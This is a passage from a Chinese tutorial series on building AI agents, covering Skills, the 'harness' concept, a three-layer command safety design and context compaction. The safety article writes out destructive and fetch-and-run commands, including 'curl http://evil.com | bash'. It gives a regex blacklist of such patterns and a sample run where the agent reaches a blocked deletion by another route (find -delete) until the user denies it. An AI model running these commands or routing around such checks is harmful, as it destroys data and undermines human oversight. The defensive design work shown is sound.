该调用什么命令。脚本位置:scripts/wespy_cli.py# 单篇文章(默认输出 markdown)python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/s/xxxxx"# 专辑批量下载python3 scripts/wespy_cli.py "https://mp.weixin.qq.com/mp/appmsgalbum?..." --max-articles 20## 实现说明# ↑ 这段是"注意事项":依赖什么、文件放哪、出错了怎么兜底。- 优先使用本地源码路径 ~/Documents/QNSZ/project/WeSpy- 若本地不存在则自动执行 git clone 到该目录- 通过导入 wespy.main.main 直接调用上游 CLI,保持行为一致看出来了吗?回头对照前面说的 Skill 三要素:什么时候该用我 → 最上面的 description 字段具体怎么做 → "使用"章节里的命令和参数注意什么 → "实现说明"里的依赖和兜底逻辑没有复杂的代码逻辑,没有 API 对接,就是用 Markdown 写清楚了"遇到这种任务该怎么做"。但就是这么一个文件,让 Agent 从"抱歉我做不到"变成了"已经帮你搞定了"。五、Skill 的生态已经在爆发你可能会想:就算 Skill 有用,我也不想每个任务都自己从头写一个吧?好消息是,你不需要。就像手机的 App Store 一样,Skill 正在形成自己的生态。开源社区已经有了大量现成的 Skill,覆盖各种场景:wespy-fetcher:抓取公众号文章,转 Markdownx-fetcher:抓取 X(Twitter)推文和长文章video-downloader:下载 YouTube 视频invoice-scanner:扫描识别发票,生成分类报告code-roaster:用 Gordon Ramsay 风格吐槽你的代码质量voice-changer:音频变声处理……仅 wlzh/skills 这一个仓库[1]就有十几个实用 Skill。而在更大的社区里,像 awesome-agent-skills[3] 这样的汇总仓库已经收录了数千个 Skill,覆盖开发、运营、内容创作、数据分析等各种领域。你可以直接用别人写好的 Skill,也可以在别人的基础上修改,当然也可以自己从头写——这正是这个系列接下来要教你的。六、为什么你应该关心 Skill?三个理由:Skill 是当前 Agent 生态中杠杆最高的投入。换一个更贵的模型,效果可能提升 10%。写一个好的 Skill,效果可能从"做不到"变成"做得到"——这不是 10% 的提升,是从 0 到 1 的突破。Skill 是可以积累的资产。每写一个 Skill,Agent 就多一个能稳定完成的任务类型。十个 Skill,Agent 就能覆盖你日常工作的十个高频场景。Skill 库越大,Agent 越好用,这是一个正向飞轮。Skill 是"有经验的人"的超级杠杆。在 Agent 时代,模型是通用的、工具是公开的,但经验是独特的。你在某个领域踩过的坑、总结的最佳实践、积累的 know-how——这些东西以前只存在你的脑子里,教别人要靠口口相传。现在你可以把它写成 Skill,让 Agent 帮你(和所有人)执行。这不是 AI 取代人,这是人通过 Skill 放大自己的经验。下一篇预告现在你知道 Skill 是什么了:一个 Markdown 文件,告诉 Agent "遇到这类任务该怎么做"。你也看到了它的威力——同一个 Agent,有没有 Skill,表现天差地别。但你可能已经好奇了:我们刚才看到了 SKILL.md 的大致结构,但每个部分到底该怎么写才算"写得好"?同样是写 description,为什么有的 Skill 能精准触发,有的却总是被 Agent 忽略?同样是写操作步骤,为什么有的 Skill 让 Agent 一步到位,有的却让 Agent 反复出错?下一篇,我们拿真实的 SKILL.md 文件开刀,一段一段地拆给你看——不只是"每段是什么",而是"每段怎么写才有效"。「从零开始写好 Skill」系列是「从零开始理解 Agent」系列的姊妹篇。如果你还没有读过 Agent 系列,建议先从 第一篇:Agent 的底层原理[4] 开始,理解 Agent 的基础架构后再来学 Skill,效果更好。 相关链接[1]GitHub 仓库: cid:link_3[2]wespy-fetcher 仓库: cid:link_0[3]awesome-agent-skills: cid:link_1[4]第一篇:Agent 的底层原理: cid:link_2 扫码回复“Agent” 进入技术交流群
  • [技术干货] 从零开始理解 Agent(番外篇):最近很火的 Harness 到底是什么?
    欢迎阅读「从零开始理解 Agent」系列文章番外篇 —— 如果你读过这个系列的七篇文章,恭喜你,你已经亲手搭过一个 Harness 的核心骨架了。作者:十一最近 Agent 圈子里一个词突然火了起来:Harness。回顾一下这几年的关键词演变:2023-2024:Prompt Engineering —— 研究怎么跟模型说话,让它回答得更好2025:Context Engineering —— 研究怎么组织上下文,让模型看到正确的信息2026:Harness Engineering —— 研究怎么搭建模型周围的整套系统,让模型真正能干活每一次演变,关注点都在从"模型本身"向"模型之外"扩展。到了 Harness 这一步,视野已经不是一条 prompt 或一段上下文了,而是工具、记忆、规划、安全、协作、压缩……整个基础设施。LangChain 团队成员 @Vtrivedy10 发了一个长帖,把这件事讲得极其清晰,核心论点只有一句话:★ Agent = Model + Harness翻译过来就是:Agent 不是一个裸模型,而是"模型 + 外挂系统"。模型提供智能,Harness 提供让这种智能真正能干活的一切基础设施。★ Harness 这个词在英文中是"马具"的意思——套在马身上让它能拉车干活的那一整套装备。用在 Agent 语境下,意思就是"套在模型外面、让模型能真正干活的那一整套系统"。下文我们直接用 Harness 这个词,不做翻译。如果你读过我们的七篇系列文章,你会发现——你已经从零搭了一个 Harness 的核心骨架。 只是当时我们没用这个词而已。一、Harness 一句话解释Harness 就是除了模型本身之外的所有东西。裸模型(比如 GPT-4o、DeepSeek、Claude)能干什么?只能输入文本,输出文本。它不能:执行代码读写文件记住上次对话遵守你的项目规范知道什么命令不能执行把复杂任务拆给多个专家这些"不能",全靠 Harness 来补。 Harness 不是一个具体的组件,而是一个总称——包裹在模型外面的所有代码、配置和执行逻辑,把模型的"智能"变成真正能干活的"工作引擎"。用一个比喻:模型是一匹好马,Harness 是马鞍 + 马蹄铁 + 缰绳 + 道路 + 围栏。光有马跑不了运输,光有装备也没用,两者结合才能真正干活。二、七篇文章 = Harness 的核心骨架这是本文最核心的部分。我们把 Harness 的组成要素,逐一对应到系列文章中: 每一篇文章,都是在给 Harness 加一个组件。 七篇加完,Harness 的核心骨架就搭好了。生产级实现(如 OpenClaw / Claude Code)在此基础上还会叠加文件系统沙箱、浏览器交互、Git 集成、模型路由等,但骨架是一样的。三、用 Harness 的视角重新看七篇文章第一篇 → Harness 的地基:工具 + 执行循环裸模型只能输出文本。第一篇做的事情是:给模型一双手。# 这就是最小的 Harness tools = [execute_bash, read_file, write_file] for _ in range(max_iterations): # 执行循环 response = llm.call(messages, tools) # 模型输出意图 if response.tool_calls: result = execute(tool_call) # Harness 执行动作 messages.append(result) # 结果喂回模型115 行代码,Harness 的核心骨架就在这里——模型决策,Harness 执行,结果回传。 所有后续组件都是在这个骨架上叠加。📌第一篇:从零开始理解 Agent(一):OpenClaw / Claude Code 的底层原理,只有 115 行第二篇 → Harness 的时间维度:记忆 + 规划裸模型没有持久记忆,每次调用都是一张白纸。第二篇做的事情是:给模型一个笔记本和一张地图。# 记忆:Harness 负责存储和加载 memory = load_memory() # 从文件读取历史 system_prompt += memory # 注入到模型的输入中 # 规划:Harness 负责分步编排 steps = create_plan(task) # 让模型先想后做 for step in steps: run_agent_step(step, messages) # 逐步执行 注意:模型本身没有"记住"任何东西。是 Harness 在模型外面做了存储和加载,然后塞进 prompt 里"假装"模型有记忆。这就是 Harness 的本质——用工程手段弥补模型的能力缺口。📌第二篇:从零开始理解 Agent(二):OpenClaw / Claude Code 如何实现记忆与规划,只需182 行第三篇 → Harness 的知识注入:Rules + Skills + MCP裸模型不知道你的项目规范、不知道生成 Word 文档的最佳实践、也无法调用 Slack API。第三篇做的事情是:给模型一本规章制度、一套工作手册、一个可扩展的工具箱。# Harness 从文件系统加载知识,注入到 system prompt system_prompt = 基础指令 + Rules + Skills + Memory # Harness 从配置文件动态加载工具 all_tools = base_tools + mcp_tools这正是 Harness 理论中强调的:System Prompts、工具描述、Skills 都是 Harness 的组成部分,不是模型的能力。📌第三篇:从零开始理解 Agent(三):OpenClaw / Claude Code 的 Rules、Skills 与 MCP 机制第四篇 + 第五篇 → Harness 的协作层:SubAgent + Teams裸模型是单线程的——一个模型实例,一个对话。第四、五篇做的事情是:让 Harness 管理多个模型实例的创建、通信和生命周期。# SubAgent:Harness 临时创建一个新的模型实例 def subagent(role, task): sub_messages = [{"role": "system", "content": f"You are a {role}"}] # 独立的循环,独立的上下文 ... # Teams:Harness 管理持久的多个模型实例 class Agent: def __init__(self, name, role): self.messages = [...] # 持久记忆 self.inbox = [] # 通信通道模型不知道"还有其他 Agent 存在"。是 Harness 在编排多个模型实例之间的协作。 这就是 Harness 理论中说的"子 Agent 生成、切换、模型路由"。📌第四篇:从零开始理解 Agent(四):给 Agent 找个帮手——最简 SubAgent 实现📌第五篇:从零开始理解 Agent(五):从临时工到正式团队——多智能体协作与编排第六篇 → Harness 对抗"上下文腐烂"原帖中专门提到了一个概念:Context Rot(上下文腐烂)——随着对话越来越长,模型的性能会下降,关键信息被淹没在冗长的历史中。第六篇做的事情正是 Harness 对抗 Context Rot 的核心手段:Compaction(压缩)。# Harness 在每轮循环前检查并压缩 messages = compact_messages(messages) # 旧消息 → 摘要,最近消息 → 保留原样原帖还提到了另外两种 Harness 手段:Tool output offloading:把大的工具输出存到文件里,prompt 中只留摘要Skills 渐进加载:不一次性把所有 Skill 塞进 prompt,按需加载这些都是"上下文工程"——不是让模型处理更长的文本,而是让 Harness 确保模型始终看到最重要的信息。📌第六篇:从零开始理解 Agent(六):给 Agent 做一次"断舍离"——上下文压缩第七篇 → Harness 的安全层:执行钩子裸模型没有安全意识——它不知道 rm -rf / 的后果。第七篇做的事情是:在模型和真实世界之间加一道安全网。# Harness 的 Hook 管道 before_hooks = [check_blacklist, ask_confirmation] after_hooks = [truncate_output] def execute_with_hooks(tool_name, args, func): for hook in before_hooks: # 执行前拦截 blocked, msg = hook(tool_name, args) if blocked: return msg result = func(**args) # 实际执行 for hook in after_hooks: # 执行后处理 result = hook(tool_name, result) return result原帖把这类机制称为"执行钩子"——压缩、续写、lint 检查、安全拦截,都是 Harness 在模型执行动作前后插入的控制逻辑。补充:Ralph Loop —— 不让 Agent 半途而废的 Hook原帖中还专门提到了一个有意思的机制:Ralph Loop。回忆我们第一篇中的核心循环:for _ in range(max_iterations): ... return "Max iterations reached" # Agent 到达上限,退出当 max_iterations 用完时,Agent 就停了——不管任务有没有完成。这在简单任务中没问题,但对于"自主写一个完整项目"这样的长时程任务,5 轮、10 轮根本不够。Ralph Loop 的思路是:在 Agent 即将退出时,Harness 拦截这个退出,检查任务是否真的完成了。如果没完成,重新注入一段提示让 Agent 继续干。用我们第七篇的 Hook 视角来理解,它就是一个 before_exit_hook:def ralph_loop_hook(messages, result): """Agent 想退出时,检查任务是否完成""" if result == "Max iterations reached": # 问 LLM:任务完成了吗? check = llm.call("Based on the conversation, is the task fully completed? Reply YES or NO.") if "NO" in check: # 没完成,注入续写提示,让 Agent 继续 messages.append({"role": "user", "content": "任务还没完成,请继续。"}) return False# 不退出,继续循环 return True# 确实完成了,允许退出本质就是把 max_iterations 从"硬上限"变成了"软检查点"——到了上限不是直接退出,而是先评估一下,没做完就续命。这个机制配合文件系统(Agent 把中间结果写入文件,下次续写时读回来)和上下文压缩(防止续写时历史太长),就能让 Agent 持续工作数十轮甚至上百轮,完成真正复杂的任务。📌第七篇:从零开始理解 Agent(七):Agent 执行 rm -rf / 怎么办?三道安全防线四、一张图看清 Model vs Harness┌─────────────────────────────────────────────────────┐ │ Harness │ │ │ │ ┌─────────────┐ ┌──────────┐ ┌────────────────┐ │ │ │ Rules │ │ Skills │ │ MCP Tools │ │ │ │ (第三篇) │ │ (第三篇) │ │ (第三篇) │ │ │ └──────┬──────┘ └────┬─────┘ └───────┬────────┘ │ │ └──────────────┼────────────────┘ │ │ ▼ │ │ ┌──── System Prompt + 工具列表 ────┐ │ │ │ │ │ │ │ Memory (第二篇) │ │ │ │ Compaction (第六篇) │ │ │ │ │ │ │ └────────────┬──────────────────────┘ │ │ ▼ │ │ ┌─────────────────────────┐ │ │ │ ┌─────────┐ │ │ │ │ │ Model │ │ ← 模型只管思考和决策 │ │ │ │ (裸模型) │ │ │ │ │ └─────────┘ │ │ │ └────────────┬────────────┘ │ │ ▼ │ │ ┌──── Hook 管道 (第七篇) ────┐ │ │ │ 黑名单 → 用户确认 → 执行 │ │ │ └────────────┬───────────────┘ │ │ ▼ │ │ ┌──── 工具执行层 (第一篇) ────┐ │ │ │ bash / read / write / edit │ │ │ └────────────┬─────────────────┘ │ │ ▼ │ │ ┌──── 协作层 (第四、五篇) ────┐ │ │ │ SubAgent / Teams / 通信 │ │ │ └──────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────┘模型在中间,Harness 在四周。 模型只负责"想",Harness 负责"让它能干活"——提供知识、提供工具、提供记忆、提供安全、提供协作、提供压缩。五、为什么 Harness 这个概念重要?5.1 它重新定义了"谁在决定 Agent 的好坏"很多人以为 Agent 好不好用取决于模型。模型越强,Agent 越好。Harness 的视角说:不对。 同一个模型,配上好的 Harness(好的工具、好的 Skill、好的压缩策略、好的安全机制)和差的 Harness,产出质量天壤之别。这就是为什么 OpenClaw / Claude Code 用的模型大家都能调用,但产品体验完全不同——差别在 Harness,不在 Model。5.2 它告诉你应该把精力花在哪如果你在做 Agent 相关的工作:你不是在训练模型 → 你就是在构建 Harness你写的 CLAUDE.md → 是 Harness 的一部分你配的 MCP Server → 是 Harness 的一部分你写的 Skill → 是 Harness 的一部分你做的安全检查 → 是 Harness 的一部分Harness 工程永远不会消失。 即使模型越来越强,它依然需要环境、工具、状态管理和安全防线。就像人类再聪明也需要办公室、电脑和公司制度一样。5.3 它让"Agent 架构"有了一个统一的名字在此之前,我们说"Agent 框架"、"Agent 基础设施"、"Agent 编排层"……各种叫法,边界模糊。Harness 给了一个清晰的定义:除了模型之外的一切,都是 Harness。 简单、明确、好记。六、回到我们的系列:你已经是 Harness 工程师了如果你读完了「从零开始理解 Agent」的七篇文章,你已经亲手搭过:工具执行层(第一篇)记忆和规划系统(第二篇)知识注入管道(第三篇)子智能体调度(第四篇)多智能体编排(第五篇)上下文压缩引擎(第六篇)安全防线和 Hook 管道(第七篇)这就是 Harness 的核心骨架。 七篇文章,七个组件,组合在一起就是 agent-full.py 里的 507 行代码。现在你知道了,这 507 行代码有一个更正式的名字:Harness。Agent = Model + Harness = Model + 你写的那 507 行代码本文是「从零开始理解 Agent」系列的番外篇。完整系列:第一篇[1] → 第二篇[2] → 第三篇[3] → 第四篇[4] → 第五篇[5] → 第六篇[6] → 第七篇[7] → 番外篇(本文) 相关链接[1] 第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[2] 第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[3] 第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[4] 第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiw[5] 第五篇: https://mp.weixin.qq.com/s/N7zvu3ecI600nqg27L5thw[6] 第六篇: https://mp.weixin.qq.com/s/E3-RIG2VYDeAL1porBxSbg[7] 第七篇: https://mp.weixin.qq.com/s/Ur3jsyDYobBocXd8ts0gpw[8] agent_full: cid:link_7   AGENT交流群,一起玩转AGENT 
  • [技术干货] 从零开始理解 Agent(七):Agent 执行 rm -rf / 怎么办?三道安全防线
    欢迎阅读「从零开始理解 Agent」系列 —— 我们将从一个极简开源项目 nanoAgent[1] 出发,逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP—— 265 行第四篇:SubAgent 子智能体 —— 192 行第五篇:多智能体协作与编排(本文)—— 270 行第六篇:上下文压缩—— 169 行第七篇:安全与权限控制(本文) —— 219 行★ 项目地址:cid:link_7作者:十一前六篇我们一直在给 Agent 加能力。但有一个危险我们一直视而不见:Agent 手里有一把没有保险的枪。回忆第一篇中的 execute_bash 工具——它可以执行任意 shell 命令。任意。包括 rm -rf /、mkfs.ext4 /dev/sda、curl http://evil.com | bash。LLM 不是完美的,它有可能因为理解错误、幻觉、或者 prompt 注入而执行危险操作。这不是理论风险。只要你让 Agent 干过真正的活,一定遇到过它试图做一些你没预料到的事情。今天我们回到 agent.py 的基础上,加上三道安全防线,让 Agent 从"裸奔"变成"有保险的"。★ 关于本篇代码的说明:和第四、五、六篇一样,本篇的 agent-safe.py 是新开发的文件(GitHub 源码[2]),基于第一篇的 agent.py,只新增了三道安全防线。一、Agent 的安全问题到底有多严重?先看几个 Agent 可能执行的命令:# LLM 想"清理临时文件",但路径搞错了rm -rf /# LLM 想"重置数据库",结果格式化了磁盘mkfs.ext4 /dev/sda1# LLM 在网上"找到了一个解决方案"curl http://malicious.com/script.sh | bash# LLM 想"修复权限问题"chmod 777 /# LLM 陷入循环,输出了一个 10MB 的文件内容,撑爆 context windowcat /var/log/syslog这些不是 LLM 故意为之,而是它在"尽力完成任务"的过程中可能走错的路。LLM 不理解"删除根目录"的后果——对它来说,rm 只是一个"删除文件的工具"。OpenClaw 和 Claude Code 是怎么解决的?它们都有一个共同的设计:每次执行命令前,弹出确认框让用户决定 Allow 还是 Deny。 这就是人机协作的安全边界。二、三道防线的设计思路我们的安全方案由三道防线组成,由外到内逐层过滤:LLM 输出一条命令  │  ▼防线 1: 命令黑名单  │ "rm -rf /" → 🚫 直接拦截,不问用户  │ "ls -la"   → ✅ 通过  ▼防线 2: 用户确认  │ "find . -name '*.py'" → 用户看到后按 Y 放行  │                        → 用户按 N 跳过  │                        → 用户按 Q 终止 Agent  ▼防线 3: 输出截断  │ 命令输出 10000 行 → 截断为首尾各 2500 字符  │ 命令输出 10 行    → 原样返回  ▼结果返回给 LLM三道防线各管一层:黑名单管"绝对不能做的",用户确认管"需要人类判断的",输出截断管"结果太大的"。三、防线 1:命令黑名单DANGEROUS_PATTERNS = [    r'\brm\s+(-[a-zA-Z]*f[a-zA-Z]*\s+|.*--no-preserve-root)',  # rm -rf    r'\brm\s+(-[a-zA-Z]*r[a-zA-Z]*\s+)?/',                     # rm /    r'\bmkfs\b',                    # 格式化磁盘    r'\bdd\s+.*of\s*=\s*/dev/',     # 覆写磁盘    r'>\s*/dev/sd[a-z]',            # 重定向到磁盘设备    r'\bchmod\s+(-R\s+)?777\s+/',   # chmod 777 /    r':\(\)\s*\{',                  # fork bomb    r'\bcurl\b.*\|\s*(ba)?sh',      # curl | bash    r'\bwget\b.*\|\s*(ba)?sh',      # wget | bash    r'\bshutdown\b',                # 关机    r'\breboot\b',                  # 重启]def is_dangerous(command):    for pattern in DANGEROUS_PATTERNS:        if re.search(pattern, command):            return True, pattern    return False, None这是最简单粗暴但最可靠的防线。不需要 AI 判断,不需要语义理解,纯正则匹配。rm -rf / 命中第一条规则,直接拦截,连用户确认的机会都不给。在 execute_bash 函数的最开头调用:def execute_bash(command):    dangerous, pattern = is_dangerous(command)    if dangerous:        return f"🚫 命令被拦截(匹配危险模式: {pattern}): {command}"    # ... 继续执行LLM 会收到"命令被拦截"的返回信息,然后它可以尝试换一种安全的方式来完成任务。黑名单能拦住所有危险命令吗?不能。黑名单只能拦住已知的危险模式。一个精心构造的命令(比如用变量拼接、base64 编码)可以绕过正则匹配。所以黑名单不是唯一防线——它只是第一道过滤,挡住最明显的危险操作。真正的兜底靠第二道防线。四、防线 2:用户确认def ask_user_confirmation(tool_name, args):    if AUTO_APPROVE:        return True    print(f"\n┌─ 确认执行 ─────────────────────────────")    print(f"│ 工具: {tool_name}")    for key, value in args.items():        print(f"│ {key}: {str(value)[:200]}")    print(f"└────────────────────────────────────────")    while True:        answer = input("[Y]执行 / [N]跳过 / [Q]终止 Agent > ").strip().lower()        if answer in ('y', 'yes', ''):            return True        elif answer in ('n', 'no'):            return False        elif answer in ('q', 'quit'):            sys.exit(0)通过了黑名单的命令,在执行前还要过人类这一关。用户看到完整的命令内容后,有三个选择这就是 OpenClaw / Claude Code 中 "Allow / Deny" 机制的极简版。所有工具都需要确认吗?在 agent-safe.py 中,三个工具(bash、read_file、write_file)都会触发确认。但在实际产品中,确认策略可以更精细:read_file 通常是安全的——只读不写,可以默认放行write_file 要看路径——写入项目目录内的放行,写入 /etc/ 的要确认bash 最危险——每次都确认,或者用白名单模式(只允许 ls、grep、cat 等安全命令免确认)--auto 参数可以跳过所有确认,用于信任场景(比如在 Docker 容器里运行)。五、防线 3:输出截断MAX_OUTPUT_LENGTH = 5000def truncate_output(text):    if len(text) <= MAX_OUTPUT_LENGTH:        return text    half = MAX_OUTPUT_LENGTH // 2    return (        text[:half]        + f"\n\n... [输出过长,已截断。原始 {len(text)} 字符,保留首尾各 {half} 字符] ...\n\n"        + text[-half:]    )这道防线解决的不是"命令危险"的问题,而是"结果太大"的问题。想象 LLM 执行了 cat /var/log/syslog,返回了 10MB 的日志。这些内容会被追加到 messages 里,下一轮 API 调用就会因为 context window 超限而失败。第六篇讲的压缩是事后补救,输出截断是从源头控制。截断策略是保留首尾各一半——开头通常包含列标题或文件头部信息,结尾通常包含最新的内容或错误信息,中间的细节可以丢掉。六、三道防线在 execute_bash 中的串联def execute_bash(command):    # 防线 1: 黑名单    dangerous, pattern = is_dangerous(command)    if dangerous:        return f"🚫 命令被拦截: {command}"    # 防线 2: 用户确认    ifnot ask_user_confirmation("execute_bash", {"command": command}):        return "用户跳过了此命令。"    # 执行    try:        result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=30)        output = result.stdout + result.stderr    except subprocess.TimeoutExpired:        output = "Error: 命令执行超时(30秒)"    except Exception as e:        output = f"Error: {str(e)}"    # 防线 3: 输出截断    return truncate_output(output)三道防线在一个函数里依次串联:先过黑名单 → 再过用户确认 → 最后截断输出。每道防线都是独立的,拦住了就直接返回,不进入下一道。七、实际运行效果$ python agent-safe.py "清理 /tmp 下的所有文件"[Tool] execute_bash({"command": "rm -rf /tmp/*"})  🚫 命令被拦截(匹配危险模式: rm -rf): rm -rf /tmp/*(LLM 收到拦截信息后换了一种方式)[Tool] execute_bash({"command": "find /tmp -type f -delete"})┌─ 确认执行 ─────────────────────────────│ 工具: execute_bash│ command: find /tmp -type f -delete└────────────────────────────────────────[Y]执行 / [N]跳过 / [Q]终止 Agent > n(用户觉得不安全,跳过了)[Tool] execute_bash({"command": "ls /tmp"})┌─ 确认执行 ─────────────────────────────│ 工具: execute_bash│ command: ls /tmp└────────────────────────────────────────[Y]执行 / [N]跳过 / [Q]终止 Agent > y(用户放行,Agent 先看看 /tmp 里有什么再决定下一步)注意 LLM 的行为:第一次 rm -rf 被拦截后,它尝试了 find -delete(绕过了黑名单但被用户拒绝),最后退而求其次先 ls 看看情况。Agent 在安全约束下会自适应调整策略——这正是把拦截信息返回给 LLM 的好处。八、nanoAgent vs 生产级安全方案 nanoAgent 的方案是"最小可行安全"——三道防线用不到 80 行代码实现,但已经覆盖了最常见的风险。生产环境在此基础上叠加沙箱隔离和更精细的策略。九、进化方向:从硬编码到 Hook 管道回头看一下 execute_bash 的代码结构:def execute_bash(command):    is_dangerous(command)           # 检查 1:黑名单    ask_user_confirmation(...)      # 检查 2:用户确认    result = subprocess.run(...)    # 实际执行    truncate_output(result)         # 后处理:截断 三道防线是硬编码在函数里的。想加一个新检查(比如"记录所有命令到日志文件"),就得改 execute_bash 的代码。想对 read_file 加同样的检查,又得再写一遍。生产级 Agent 框架会把这些检查抽象成 Hook(钩子)机制——一个可插拔的管道:# 定义 Hook 管道before_hooks = [check_blacklist, ask_confirmation, log_command]after_hooks  = [truncate_output, log_result]# 通用的工具执行函数def execute_tool(name, args):    # 执行前:依次过所有 before hook    for hook in before_hooks:        blocked, msg = hook(name, args)        if blocked:            return msg              # 任何一个 hook 可以拦截    # 实际执行    result = available_functions[name](**args "name")    # 执行后:依次过所有 after hook    for hook in after_hooks:        result = hook(name, result)    return result这样做的好处:可插拔:加新检查只需要往列表里 append 一个函数,不用改核心代码可复用:同一套 Hook 对所有工具生效,不用每个工具各写一遍可配置:不同场景挂不同的 Hook 组合(开发环境宽松、生产环境严格)本文的三道防线就是三个 Hook 的"手动版"。理解了硬编码版本,Hook 只是把 if 语句换成了 for 循环——从"写死哪些检查"变成"注册哪些检查"。十、系列收官七篇文章,从 115 行代码到完整的 Agent 认知体系: 前六篇回答"Agent 能做什么",第七篇回答"Agent 不能做什么"。能力和约束是一体两面。如果把 Agent 比作一辆车:第一篇装了引擎(工具 + 循环)第二篇装了后视镜和导航(记忆 + 规划)第三篇装了可换配件和使用手册(Rules + Skills + MCP)第四篇让它能叫外援(SubAgent)第五篇让它组建车队(Teams)第六篇装了油量警告灯(上下文压缩)第七篇装了刹车和安全气囊(安全防线 + Hook)七篇下来,这辆车从底盘到安全系统都齐了。把 OpenClaw 或 Claude Code 拆开看,里面就是这些东西——每一样单独拿出来都不复杂,组合在一起就构成了一个能自主工作的智能体。写这个系列的初衷很简单:Agent 不应该是少数人的黑魔法,它的每一个核心概念都可以用几十行代码讲清楚。希望这七篇文章能帮你拨开迷雾,在 Agent 的世界里走得更踏实一些。 本文基于 agent-safe.py(GitHub 源码[2])分析。完整系列:第一篇[3] → 第二篇[4] → 第三篇[5] → 第四篇[6] → 第五篇[7] → 第六篇[8] → 第七篇(本文)相关资料[1]nanoAgent: cid:link_7[2]GitHub 源码: cid:link_6[3]第一篇: https://mp.weixin.qq.com/s/gz_vPvgTdozh4FO6vEdF-Q[4]第二篇: https://mp.weixin.qq.com/s/nbGrU9mEYrOFRt1End2nGw[5]第三篇: https://mp.weixin.qq.com/s/6ThsBKAi0RZGekgOzfDTdQ[6]第四篇: https://mp.weixin.qq.com/s/LCIc_cYDEF52tJ9q1yLMiw[7]第五篇: https://mp.weixin.qq.com/s/N7zvu3ecI600nqg27L5thw[8]第六篇: https://mp.weixin.qq.com/s/E3-RIG2VYDeAL1porBxSbg AGENT交流群,一起玩转AGENT
  • [技术干货] 从零开始理解 Agent(六):给 Agent 做一次"断舍离"——上下文压缩
     欢迎阅读「从零开始理解 Agent」系列 —— 我们将从一个极简开源项目 nanoAgent[1] 出发,逐层拆解 OpenClaw / Claude Code 等 AI Agent 背后的全部核心概念。 第一篇:底层原理,只有 115 行 —— 工具 + 循环第二篇:记忆与规划 —— 182 行第三篇:Rules、Skills 与 MCP—— 265 行第四篇:SubAgent 子智能体 —— 192 行第五篇:多智能体协作与编排(本文)—— 270 行第六篇:上下文压缩(本文)—— 169 行第七篇:安全与权限控制 —— 219 行 ★ 项目地址:cid:link_6作者:十一前五篇我们不断给 Agent 加能力:工具、记忆、规划、Rules、SubAgent、Teams……但有一个问题我们一直在回避:Agent 的对话历史会无限增长,直到撑爆 LLM 的 context window。这不是"将来可能遇到的问题",而是"用 Agent 干稍微复杂点的活就一定会遇到的问题"。今天我们回到 agent.py 的极简基础上,只加一个函数(约 30 行),实现最简单的上下文压缩。★ 关于本篇代码的说明:和第四、五篇一样,本篇的 agent-compact.py 是我们新开发的文件(GitHub 源码[2]),不在 nanoAgent 原始仓库中。它基于第一篇的 agent.py,只新增了一个 compact_messages() 函数来演示压缩机制。为了让压缩逻辑尽可能清晰,没有加入记忆、规划、Rules 等其他功能。一、先搞清楚问题:为什么 messages 会爆?回忆第一篇中 Agent 的核心循环。每一轮循环,messages 列表都会新增至少两条消息:第 1 轮: messages += [LLM的回复, 工具的返回结果]第 2 轮: messages += [LLM的回复, 工具的返回结果]第 3 轮: messages += [LLM的回复, 工具的返回结果]...假设一个任务需要 Agent 调用 15 次工具(对于"找到所有 Python 文件、统计行数、排序、写入报告"这样的任务完全正常),messages 就会累积到 30+ 条,其中每条工具返回结果可能包含几百行的命令输出。而任何 LLM 的 context window 都是有限的。不管是几万 tokens 还是几十万 tokens,只要 Agent 读几个大文件(每个几千行)、执行几次 grep 返回大量结果、再来几轮工具调用——窗口就会被迅速填满。尤其是本地部署的小模型,context window 往往只有几千 tokens,几轮循环就会触顶。★ 你可能会想:"现在的模型 context window 越来越大了,还需要压缩吗?" 需要。窗口变大只是推迟了问题,没有消除问题。而且更长的上下文意味着更高的 token 费用、更慢的响应速度、以及 LLM 在超长文本中"迷失重点"的风险(即 lost in the middle 问题)。当 messages 超过 context window,API 直接报错:context_length_exceeded。Agent 挂了,任务半途而废。二、能不能不压缩?在看解决方案之前,先想想有没有其他出路:方案 A:用更大 context window 的模型。 能缓解,但不能根治。窗口再大,Agent 读几个大文件、跑几次搜索也会填满。而且更大的窗口意味着更高的 token 费用、更慢的响应速度、以及 LLM 在超长文本中丢失重点的风险。方案 B:限制最大循环次数。 第一篇中的 max_iterations=5 就是这个思路。但这只是把问题从"撑爆"变成了"做不完"——复杂任务就是需要很多轮。方案 C:截断工具返回结果。 比如 bash 命令输出超过 1000 字符就截断。能减缓增长速度,但治标不治本,而且截断可能丢失关键信息。方案 D:压缩旧的对话历史。 把早期的详细对话压缩成一段摘要,只保留要点。Agent 继续工作时,靠摘要"回忆"之前做了什么,靠最近几条消息保持当前操作的精确上下文。方案 D 就是上下文压缩(Context Compaction)。它不需要换模型,不限制能力,不丢失关键信息——用 LLM 自己来总结自己的历史,然后轻装上阵继续干活。三、压缩的原理:一张图看懂压缩前的 messages(30 条,快爆了):┌────────┐│ system │ ← 永远保留├────────┤│ user │ ← 最初的任务│ assist │ ← LLM 调用了 bash│ tool │ ← bash 输出了 200 行文件列表│ assist │ ← LLM 调用了 read_file│ tool │ ← 文件内容 500 行 ─┐│ assist │ ← LLM 决定统计行数 ││ tool │ ← 统计结果 │ 这些旧消息│ assist │ ← LLM 调用了 grep │ 交给 LLM 做摘要│ tool │ ← grep 结果 300 行 ││ ... │ ← 更多历史 ─┘│ assist │ ← LLM 准备写文件 ─┐│ tool │ ← 写入成功 │ 最近 6 条│ assist │ ← LLM 调用 read 验证 │ 保留原样│ tool │ ← 文件内容 │ (不压缩)│ assist │ ← LLM 准备做最后总结 ││ user │ ← 当前操作 ─┘└────────┘ ↓ compact_messages() ↓压缩后的 messages(9 条,清爽了):┌────────┐│ system │ ← 永远保留(不动)├────────┤│ user │ ← "之前的对话摘要:找到了 42 个 Python 文件,│ │ 统计了行数,最长的是 utils.py (350行)..."│ assist │ ← "明白了,我继续。"├────────┤│ assist │ ← LLM 准备写文件 